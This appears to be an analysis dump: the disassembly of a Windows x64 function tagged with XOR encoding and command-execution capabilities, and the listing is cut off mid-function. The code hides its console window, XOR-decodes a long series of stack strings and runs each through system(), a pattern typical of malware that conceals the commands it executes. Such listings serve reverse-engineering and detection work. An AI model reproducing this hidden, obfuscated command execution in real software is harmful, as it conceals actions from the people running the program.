Function at 0x14006cde0
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x140121f70]
xor ecx, ecx
movdqa xmm1, xmmword [0x1401216c0]
xor ebx, ebx
mov eax, 0x4c
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121a20]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401213e0]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
mov byte [rbp + 0x17], 0xcd
mov word [rbp + 0x18], cx
mov byte [rbp + 0x1a], cl
test eax, eax
je 0x14006ce97
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006ce80
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
xor ecx, ecx
movdqa xmm1, xmmword [0x1401218c0]
mov esi, 0x40
movdqa xmmword [rbp - 0x29], xmm0
mov edx, ebx
movdqa xmm0, xmmword [0x140121cc0]
mov eax, esi
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xa4dac8dc
mov byte [rbp + 0xb], 0xc1
mov word [rbp + 0xc], cx
mov byte [rbp + 0xe], cl
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006cf01
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121780]
mov edx, ebx
mov eax, 0x1a
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x25], 0xfbf7fcf8
mov dword [rbp - 0x21], 0xd1cbe5e2
mov dword [rbp - 0x1d], 0x9bdcd7
movdqu xmmword [rbp - 0x35], xmm0
test eax, eax
je 0x14006cf77
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006cf60
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1401214f0]
mov edx, ebx
movdqa xmm1, xmmword [0x140121b20]
mov eax, 0x42
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121f50]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xa3defdf1
mov dword [rbp + 0xb], 0xc3a7a9
test eax, eax
je 0x14006cff7
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006cfe0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121710]
mov r15d, 0x25
movdqa xmm1, xmmword [0x140121a50]
mov edx, ebx
mov eax, r15d
mov dword [rbp - 0x39], eax
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x15], 0xd0cdc7cc
movdqu xmmword [rbp - 0x25], xmm1
mov dword [rbp - 0x11], 0xa6d6
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d040
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121780]
mov edx, ebx
movdqa xmm1, xmmword [0x140121380]
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], 0x1f
movdqu xmmword [rbp - 0x25], xmm1
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d090
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121710]
mov edx, ebx
movdqa xmm1, xmmword [0x140121f10]
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], 0x37
movdqa xmm0, xmmword [0x1401211d0]
movdqu xmmword [rbp - 0x15], xmm0
mov dword [rbp - 5], 0xd5f0e1f5
movdqu xmmword [rbp - 0x25], xmm1
mov dword [rbp - 1], 0xb8d2ded6
nop dword [rax]
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d100
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401219f0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], 0x3f
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xc0cbd0d8
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d171
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121780]
mov edx, ebx
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], 0x1b
mov dword [rbp - 0x25], 0xfbf7fcf8
mov dword [rbp - 0x21], 0xeccbe5e2
mov dword [rbp - 0x1d], 0x9cebf7fc
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d1c1
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
mov eax, 0x55
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121a70]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x140121220]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
mov dword [rbp + 0x17], 0xb1bbaba0
mov dword [rbp + 0x1b], 0xa6bca6a2
mov dword [rbp + 0x1f], 0xd6b0
test eax, eax
je 0x14006d269
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d252
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121c40]
mov edx, ebx
movdqa xmm1, xmmword [0x140121cd0]
mov eax, 0x3a
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140120ca0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
test eax, eax
je 0x14006d2d8
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d2c1
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121610]
mov edx, ebx
movdqa xmm1, xmmword [0x140121950]
mov eax, 0x35
mov dword [rbp - 0x39], eax
mov dword [rbp - 5], 0xd9d6e6ed
mov dword [rbp - 1], 0xb6c5
movdqu xmmword [rbp - 0x35], xmm0
movdqa xmm0, xmmword [0x140121b80]
movdqu xmmword [rbp - 0x15], xmm0
movdqu xmmword [rbp - 0x25], xmm1
test eax, eax
je 0x14006d347
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d330
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
mov eax, 0x39
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140120c00]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
test eax, eax
je 0x14006d3b7
nop
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d3a0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121d20]
mov edi, 0x41
movdqa xmm1, xmmword [0x140121920]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401218f0]
mov eax, edi
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xafd6cadc
mov dword [rbp + 0xb], 0xc2af
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d420
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121780]
mov edx, ebx
movdqa xmm1, xmmword [0x140121380]
movdqu xmmword [rbp - 0x35], xmm0
mov dword [rbp - 0x39], 0x1f
movdqu xmmword [rbp - 0x25], xmm1
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d470
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121530]
mov edx, ebx
movdqa xmm1, xmmword [0x140121690]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121960]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401215f0]
mov eax, 0x71
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x1401213d0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x1401212f0]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xe8e6e6c1
mov dword [rbp - 0x31], 0xa8f4a9a5
mov dword [rbp - 0x2d], 0xa3abeca6
mov dword [rbp + 0x37], 0xdec5b294
mov dword [rbp + 0x3b], 0xf2db
test eax, eax
je 0x14006d537
nop dword [rax]
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d520
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121530]
xor ecx, ecx
movdqa xmm1, xmmword [0x140121890]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121ad0]
mov eax, 0x5c
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x140121e30]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401213c0]
movdqa xmmword [rbp + 0x17], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xe8e6e6c1
mov dword [rbp - 0x31], 0xa8f4a9a5
mov dword [rbp - 0x2d], 0xa3abeca6
movdqa xmmword [rbp + 7], xmm1
mov byte [rbp + 0x27], 0xdd
mov word [rbp + 0x28], cx
mov byte [rbp + 0x2a], cl
test eax, eax
je 0x14006d5d7
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d5c0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401219b0]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x140121bd0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401211c0]
movdqa xmmword [rbp + 0x17], xmm0
mov dword [rbp - 0x39], 0x63
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp + 0x27], 0x85a8bcbf
mov dword [rbp + 0x2b], 0xe4a0a3bd
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d652
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401219b0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401211c0]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x140121bd0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x140121c70]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp - 0x39], 0x6b
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
nop dword [rax]
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d6f0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
mov r14d, 0x69
movdqa xmm1, xmmword [0x1401218c0]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401219b0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401211c0]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x140121bd0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x140120c30]
mov eax, r14d
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d790
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121ec0]
xor eax, eax
movdqa xmm1, xmmword [0x140121b00]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401217d0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], esi
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xb3d1d7da
mov byte [rbp + 0xb], 0xc1
mov word [rbp + 0xc], ax
mov byte [rbp + 0xe], al
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov esi, dword [rbp - 0x39]
cmp edx, esi
jb 0x14006d810
lea rcx, [rbp - 0x35]
mov byte [rbp + rsi - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121ec0]
mov edx, ebx
movdqa xmm1, xmmword [0x140121b00]
mov eax, 0x46
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121af0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0x90e3dbd0
mov dword [rbp + 0xb], 0xada4b7ad
mov dword [rbp + 0xf], 0xc7b5ab
test eax, eax
je 0x14006d8b7
nop dword [rax]
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d8a0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121ec0]
xor ecx, ecx
movdqa xmm1, xmmword [0x140121b00]
mov edx, ebx
mov eax, 0x54
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121af0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x140121520]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
mov dword [rbp + 0x17], 0xb1a0a2a3
mov dword [rbp + 0x1b], 0xa6ba96b5
mov byte [rbp + 0x1f], 0xd5
mov word [rbp + 0x20], cx
mov byte [rbp + 0x22], cl
test eax, eax
je 0x14006d957
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d940
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121ec0]
mov esi, 0x45
movdqa xmm1, xmmword [0x140121b00]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121af0]
mov eax, esi
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0x83e3dbd0
mov dword [rbp + 0xb], 0xada5acae
mov dword [rbp + 0xf], 0xc6a2
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006d9c2
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121d20]
mov edx, ebx
movdqa xmm1, xmmword [0x140121920]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401218f0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], edi
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xafd6cadc
mov dword [rbp + 0xb], 0xc2af
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov edi, dword [rbp - 0x39]
cmp edx, edi
jb 0x14006da40
lea rcx, [rbp - 0x35]
mov byte [rbp + rdi - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
mov edi, 0x3d
movdqa xmm1, xmmword [0x1401216c0]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121ae0]
mov eax, edi
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xbec9
nop dword [rax]
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006dac0
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121650]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218d0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121810]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], esi
mov dword [rbp - 0x35], 0xa4efe7e5
mov dword [rbp - 0x31], 0xa7a7e0aa
mov dword [rbp - 0x2d], 0xfda4aafa
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xb3d4ccd2
mov dword [rbp + 0xb], 0xaca0a382
mov dword [rbp + 0xf], 0xc6a0
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov esi, dword [rbp - 0x39]
cmp edx, esi
jb 0x14006db40
lea rcx, [rbp - 0x35]
mov byte [rbp + rsi - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121650]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218d0]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121aa0]
movdqa xmmword [rbp - 9], xmm0
mov dword [rbp - 0x39], edi
mov dword [rbp - 0x35], 0xa4efe7e5
mov dword [rbp - 0x31], 0xa7a7e0aa
mov dword [rbp - 0x2d], 0xfda4aafa
movdqa xmmword [rbp - 0x19], xmm1
mov dword [rbp + 7], 0xbece
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov edi, dword [rbp - 0x39]
cmp edx, edi
jb 0x14006dbb0
lea rcx, [rbp - 0x35]
mov byte [rbp + rdi - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121dd0]
xor ecx, ecx
movdqa xmm1, xmmword [0x1401216d0]
mov edx, ebx
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1401217b0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1401213f0]
mov eax, 0x70
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x1401214d0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x140121400]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
mov dword [rbp + 0x37], 0x95878d8c
mov byte [rbp + 0x3b], 0xf1
mov word [rbp + 0x3c], cx
mov byte [rbp + 0x3e], cl
test eax, eax
je 0x14006dc77
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006dc60
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121710]
mov edx, ebx
movdqa xmm1, xmmword [0x140121f10]
mov eax, 0x32
mov dword [rbp - 0x39], eax
mov dword [rbp - 5], 0xb3c2dc
movdqu xmmword [rbp - 0x35], xmm0
movdqa xmm0, xmmword [0x140121a40]
movdqu xmmword [rbp - 0x15], xmm0
movdqu xmmword [rbp - 0x25], xmm1
test eax, eax
je 0x14006dcd8
mov eax, edx
lea rcx, [rbp - 0x35]
add rcx, rax
lea eax, [rdx - 0x7f]
inc edx
xor byte [rcx], al
mov eax, dword [rbp - 0x39]
cmp edx, eax
jb 0x14006dcc1
lea rcx, [rbp - 0x35]
mov byte [rbp + rax - 0x35], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140121f70]
mov edx, ebx
movdqa xmm1, xmmword [0x1401218c0]
mov eax, 0x49
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x140121a70]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x140120c10]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
mov dword [rbp - 0x39], eax
mov dword [rbp - 0x35], 0xede7eff3
mov dword [rbp - 0x31], 0xfba8a6f7
mov dword [rbp - 0x2d], 0xacfaa5a9
test eax, eax
je 0x14006dd57
nop dword [rax]
